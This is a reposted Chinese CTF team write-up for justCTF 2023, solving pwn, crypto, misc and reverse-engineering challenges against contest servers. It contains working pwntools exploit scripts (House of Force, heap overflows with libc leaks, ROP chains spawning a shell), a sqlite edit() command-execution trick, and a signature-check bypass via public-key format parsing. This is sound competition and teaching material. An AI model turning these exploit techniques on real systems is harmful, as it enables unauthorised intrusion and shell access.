justCTF-2023-Writeup -VP-Union战队

admin 2023年6月9日19:12:25评论22 views字数 10020阅读33分24秒阅读模式


justCTF-2023-Writeup -VP-Union战队

在本次2023年的 justCTF 国际赛上

星盟安全团队的Polaris战队和Chamd5的Vemon战队联合参赛,合力组成VP-Union联合战队,勇夺第15名的成绩。


PWN


01

Welcome in my house

House of Force

#!/usr/bin/env python3# -*- coding:utf-8 -*-
from pwn import *context.clear(arch='amd64', os='linux', log_level='debug')
sh = remote('house.nc.jctf.pro', 1337)sh.sendlineafter(b'>>  ', b'1')sh.sendlineafter(b': ', b'xmcve')sh.sendlineafter(b': ', b'root'.ljust(0x18, b'0') + b'xff' * 8)sh.sendlineafter(b': ', str(-152))sh.sendlineafter(b'>>  ', b'2')
sh.interactive()


02

nucleus

The decompress function contains a heap overflow vulnerability. For example, while decompressing $1024a

#!/usr/bin/env python3# -*- coding:utf-8 -*-
from pwn import *context.clear(arch='amd64', os='linux', log_level='debug')
sh = remote('nucleus.nc.jctf.pro', 1337)
sh.sendlineafter(b'> ', b'2')sh.sendlineafter(b': ', b'ab' * 0x1f0)sh.sendlineafter(b'> ', b'2')sh.sendlineafter(b': ', b'ab')sh.sendlineafter(b'> ', b'2')sh.sendlineafter(b': ', b'ab')sh.sendlineafter(b'> ', b'3')sh.sendlineafter(b': ', b'd')sh.sendlineafter(b': ', b'0')
sh.sendlineafter(b'> ', b'5')sh.sendlineafter(b': ', b'-1024')sh.recvuntil(b'content: ')libc_addr = u64(sh.recvn(6) + b'00') - 0x1ecbe0success('libc_addr: ' + hex(libc_addr))sh.sendlineafter(b'> ', b'3')sh.sendlineafter(b': ', b'd')sh.sendlineafter(b': ', b'2')sh.sendlineafter(b'> ', b'3')sh.sendlineafter(b': ', b'd')sh.sendlineafter(b': ', b'1')sh.sendlineafter(b'> ', b'2')sh.sendlineafter(b': ', (b'$2000a' + p64(libc_addr + 0x1eee48)).ljust(0x1f0 * 2, b'0'))
sh.sendlineafter(b'> ', b'2')sh.sendlineafter(b': ', b'/bin/sh')sh.sendlineafter(b'> ', b'2')sh.sendlineafter(b': ', p64(libc_addr + 0x52290))
sh.sendlineafter(b'> ', b'3')sh.sendlineafter(b': ', b'd')sh.sendlineafter(b': ', b'1')
sh.interactive()


03

Mystery locker

There is a heap overflow vulnerability in the sub_14DF function. Although we can allocate up to 0x400 memory, there is no length check at v4[len] = 0

// sub_14DF_BYTE *__fastcall print_and_malloc(const char *msg, unsigned int len){  int v2; // ebp  _BYTE *v3; // rax  _BYTE *v4; // r14  _BYTE *v5; // rbx  _BYTE *v6; // rbp  char buf; // [rsp+7h] [rbp-31h] BYREF  unsigned __int64 v9; // [rsp+8h] [rbp-30h]
 v9 = __readfsqword(0x28u);  __printf_chk(1LL, "%s", msg);  v2 = 1024;  if ( len <= 0x400 )    v2 = len;  v3 = malloc(v2);  v4 = v3;  if ( v2 > 0 )  {    v5 = v3;    v6 = &v3[v2];    do    {      if ( !read(0, &buf, 1uLL) )        break;      if ( !buf )        break;      *v5++ = buf;    }    while ( v5 != v6 );  }  v4[len] = 0;                                  // heap overflow  return v4;}

The primary challenge lies in determining how to disclose the address information. We can allocate memory without the need for edit, allowing us to use the print command to extract the information.

justCTF-2023-Writeup -VP-Union战队
void __fastcall create(){    ...    v3 = print_and_malloc("contents: ", v2);    v4 = creat(file_path, 0600u);    if ( v4 < 0 )    {      perror("creat");      exit(1);    }    v5 = strlen(v3);    if ( write(v4, v3, v5) < 0 ) // leak    {      perror("write");      exit(1);    }    if ( close(v4) < 0 )    {      perror("close");      exit(1);    }    __printf_chk(1LL, "Data saved to: %sn", file_path);    free(v3);    free(v1);  }}

EXP

#!/usr/bin/env python3# -*- coding:utf-8 -*-
from pwn import *context.clear(arch='amd64', os='linux', log_level='debug')
def create(f_len, f, c_len, c):    sh.sendlineafter(b'> ', b'0')    sh.sendlineafter(b'size: ', str(f_len).encode())    sh.sendafter(b'fname: ', f)    sh.sendlineafter(b'len: ', str(c_len).encode())    sh.sendafter(b'contents: ', c)
def show(f_len, f):    sh.sendlineafter(b'> ', b'2')    sh.sendlineafter(b'size: ', str(f_len).encode())    sh.sendafter(b'fname: ', f)
while(True):    sh = remote('mysterylocker.nc.jctf.pro', 1337)    salt = str(randint(0, 0x100000000)).encode()    create(0x400, salt + b'0', 0x400, b'0')    create(0x400, salt + b'10', 0x400, b'0')    show(0x400, salt + b'10')    heap_addr = u64(sh.recvn(5) + b'000') << 12    success('heap_addr: ' + hex(heap_addr))    heap_0x100_0 = heap_addr + 0xb10    heap_0x100_1 = heap_addr + 0xc10    heap_0x50_0 = heap_addr + 0xd10    heap_func_0 = heap_addr + 0x2a0    heap_0x100_content = (heap_0x100_0 >> 12) ^ heap_0x100_1    success('heap_0x100_1_fake: ' + hex(heap_0x100_1_fake))    heap_0x100_1_fake = (heap_0x100_content & (~0xff)) ^ (heap_0x100_0 >> 12)    if (heap_0x100_1_fake % 0x10) == 0 and heap_0x100_1_fake > heap_0x100_1:        break    sh.close()

success('heap_0x100_1: ' + hex(heap_0x100_1))success('heap_0x100_1_fake: ' + hex(heap_0x100_1_fake))
create(0xf0, salt + b'20', 0xf0, b' ' * (heap_0x100_1_fake - heap_0x100_1 - 8) + p16(0x111) + b'0')create(0x840, salt + b'30', 0xf0, b'0')create(0x40, salt + b'40', 0x40, b'0')create(0xf0, salt + b'50', 0xf0, b' ' * (heap_0x50_0 - heap_0x100_1_fake - 8) + p8(0x51) + b'       ' + p64((heap_0x50_0 >> 12) ^ heap_func_0)[:6] + b'0')create(0xa39, salt + b'60', 0xf0, b'0')create(0xa3a, salt + b'70', 0xf0, b'0')create(0xa3b, salt + b'80', 0xf0, b'0')create(0xa3c, salt + b'90', 0xf0, b'0')create(0xa3d, salt + b'100', 0xf0, b'0')create(0xa3e, salt + b'110', 0xf0, b'0')create(0xa3f, salt + b'120', 0xf0, b'0')create(0x40, salt + b'130', 0x40, b'0')show(0x400, salt + b'130')image_addr = u64(sh.recvn(6) + b'00') - 0x1db4success('image_addr: ' + hex(image_addr))create(0x240, salt + b'140', 0x240, b'0')create(0x260, salt + b'150', 0x260, b'0')
create(0x400, salt + b'160', 0x100, b' ' * (heap_0x50_0 - heap_0x100_1_fake - 8) + p16(0x7b1) + b'0')create(0x400, salt + b'170', 0x40, b'0')create(0x400, salt + b'180', 0x40, b'0')show(0x400, salt + b'180')libc_addr = u64(sh.recvn(6) + b'00') - 0x1f71b0success('libc_addr: ' + hex(libc_addr))create(0x400, salt + b'190', 0x20, b' ' * 0x10 + p64(libc_addr + 0x79f30)[:6] + b'0')
sh.sendlineafter(b'> ', b'2')sh.sendline(b'0' * 0x528 + p64(libc_addr + 0x0000000000022fd9) + p64(libc_addr + 0x00000000000240e5) + p64(libc_addr + 0x1b51d2) + p64(libc_addr + 0x4ebf0))
sh.interactive()


04

notabug

The sqlite3 service disables most internal commands, including .shell. While searching the references of the system function, its occurrence is not limited to just .shell, but also found in the editFunc function. Upon exploring the context of the editFunc function, you will discover that it is originates from the internal edit function in sqlite3.

justCTF-2023-Writeup -VP-Union战队
sqlite> select edit('', '/jailed/readflag');justCTF{SQL1t3_F34tur3_n0t_bug}


05

notabug2

Same as notabug.

sqlite> select edit('', '/jailed/readflag');justCTF{SQL1t3_F34tur3_n0t_bug_Int3nd3d!11!!!111!!1}

CRYPTO


01

Vaulted

题目

from coincurve import PublicKeyimport json
FLAG = 'justWTF{th15M1ghtB34(0Rr3CtFl4G!Right????!?!?!??!!1!??1?}'PUBKEYS = ['025056d8e3ae5269577328cb2210bdaa1cf3f076222fcf7222b5578af846685103',            '0266aa51a20e5619620d344f3c65b0150a66670b67c10dac5d619f7c713c13d98f',            '0267ccabf3ae6ce4ac1107709f3e8daffb3be71f3e34b8879f08cb63dff32c4fdc']

class FlagVault:    def __init__(self, flag):        self.flag = flag        self.pubkeys = []
   def get_keys(self, _data):        return str([pk.format().hex() for pk in self.pubkeys])
   def enroll(self, data):        if len(self.pubkeys) > 3:            raise Exception("Vault public keys are full")
       pk = PublicKey(bytes.fromhex(data['pubkey']))        self.pubkeys.append(pk)        return f"Success. There are {len(self.pubkeys)} enrolled"
   def get_flag(self, data):        # Deduplicate pubkeys        auths = {bytes.fromhex(pk): bytes.fromhex(s) for (pk, s) in zip(data['pubkeys'], data['signatures'])}
       if len(auths) < 3:            raise Exception("Too few signatures")
       if not all(PublicKey(pk) in self.pubkeys for pk in auths):            raise Exception("Public key is not authorized")
       if not all(PublicKey(pk).verify(s, b'get_flag') for pk, s in auths.items()):            raise Exception("Signature is invalid")
       return self.flag

def write(data):    print(json.dumps(data))

def read():    try:        return json.loads(input())    except EOFError:        exit(0)

WELCOME = """Welcome to the vault! Thank you for agreeing to hold on to one of our backup keys.
The vault requires 3 of 4 keys to open. Please enroll your public key."""
if __name__ == "__main__":    vault = FlagVault(FLAG)    for pubkey in PUBKEYS:        vault.enroll({'pubkey': pubkey})
   write({'message': WELCOME})    while True:        try:            data = read()            if data['method'] == 'get_keys':                write({'message': vault.get_keys(data)})            elif data['method'] == 'enroll':                write({'message': vault.enroll(data)})            elif data['method'] == "get_flag":                write({'message': vault.get_flag(data)})            else:                write({'error': 'invalid method'})        except Exception as e:            write({'error': repr(e)})

题解

虽然在enroll(self, data)函数中里有写

def enroll(self, data):        if len(self.pubkeys) > 3:            raise Exception("Vault public keys are full")

但根据题目欢迎语以及实际测试发现

还可以再塞一组公钥进去

也就是len(self.pubkeys)不能大于4才对。

审阅coincurve库代码

发现公钥有三种格式都可以正常被解析

利用此特性即可解题

justCTF-2023-Writeup -VP-Union战队

其中,生成一组公私钥以及对应签名

参考

https://qiita.com/oldEng/items/f07e3db02ef6e082e567

justCTF-2023-Writeup -VP-Union战队

EXP

import jsonfrom pwn import *from coincurve import PublicKey, keys, PrivateKey
context.log_level = 'debug'

def write(data):    return json.dumps(data)

sh = remote('vaulted.nc.jctf.pro', 1337)sh.recvline()t = write({'method': 'get_keys'})sh.sendline(t.encode())sh.recvline()
# 塞入新建公钥private_key_hex = 'f8f8a2f43c8376ccb0871305060d7b27b0554d2cc72bccf41b2705608452f315'private_key = bytes.fromhex(private_key_hex)public_key = PublicKey.from_valid_secret(private_key).format(compressed=False)public_key_hex = public_key.hex()t = write({'method': 'enroll', 'pubkey': public_key_hex})sh.sendline(t.encode())sh.recvline()
# 利用公钥解析的三种格式完成挑战ps = [PublicKey.from_valid_secret(private_key).format(compressed=False).hex(),      PublicKey.from_valid_secret(private_key).format(compressed=True).hex(),      '06' + PublicKey.from_valid_secret(private_key).format(compressed=False).hex()[2:]]
s = PrivateKey(private_key).sign(b'get_flag').hex()t = write({'method': 'get_flag', 'pubkeys': ps, 'signatures':
展开收缩
})
sh.sendline(t.encode())sh.interactive()# justCTF{n0nc4n0n1c4l_72037872768289199286663281818929329}

MISC


01

Sanity check

猜字谜是rules,直接再rules里查看得到flag


02

ECC for Dummies

可以问8个问题逻辑推理,但是也可以直接爆破

from pwn import *while True:    conn = remote("eccfordummies.nc.jctf.pro",1337)    conn.recv().decode()    for i in range(8):        conn.sendline(" ".encode())        conn.recv().decode()    conn.sendline("0 1 1 1 0".encode())    print(conn.recv().decode())

RE


01

Rustberry

arm rust

The main logical pseudocode is generated after manually pacth partial bytes.

justCTF-2023-Writeup -VP-Union战队

The input string gets the index value of each character on a character set.

v4 = [0]*64v4[37] = 7v4[41] = 28v4[42] = 255v4[24] = 3v4[38] = 33v4[25] = 26v4[26] = 17v4[27] = 20v4[32] = 17v4[33] = 17v4[29] = 19v4[30] = 1v4[31] = 32v4[19] = 8v4[40] = 11v4[39] = 11v4[17] = 11v4[23] = 11v4[8] = 21v4[9] = 51v4[34] = 24v4[16] = 15v4[10] = 26v4[11] = 9v4[12] = 20v4[13] = 18v4[3] = 5v4[28] = 34v4[4] = 27v4[5] = 13v4[6] = 29v4[35] = 26v4[21] = 26v4[15] = 26v4[7] = 26v4[36] = 2v4[18] = 0v4[20] = 13v4[22] = 29v4[14] = 19v4[0] = 9v4[1] = 2v4[2] = 19xxx = b"abcdefghijklmnopqrstuvwxyz_{}0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"for i in v4:    print(chr(xxx[i]),end='')#jctf{n0_vM_just_plain_0ld_ru5tb3rry_ch4ll}

文末:

欢迎师傅们加入我们:

星盟安全团队纳新群2:346014666

有兴趣的师傅欢迎一起来讨论!

justCTF-2023-Writeup -VP-Union战队
justCTF-2023-Writeup -VP-Union战队

原文始发于微信公众号(星盟安全):justCTF-2023-Writeup -VP-Union战队

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月9日19:12:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   justCTF-2023-Writeup -VP-Union战队https://cn-sec.com/archives/1791491.html

发表评论

匿名网友 填写信息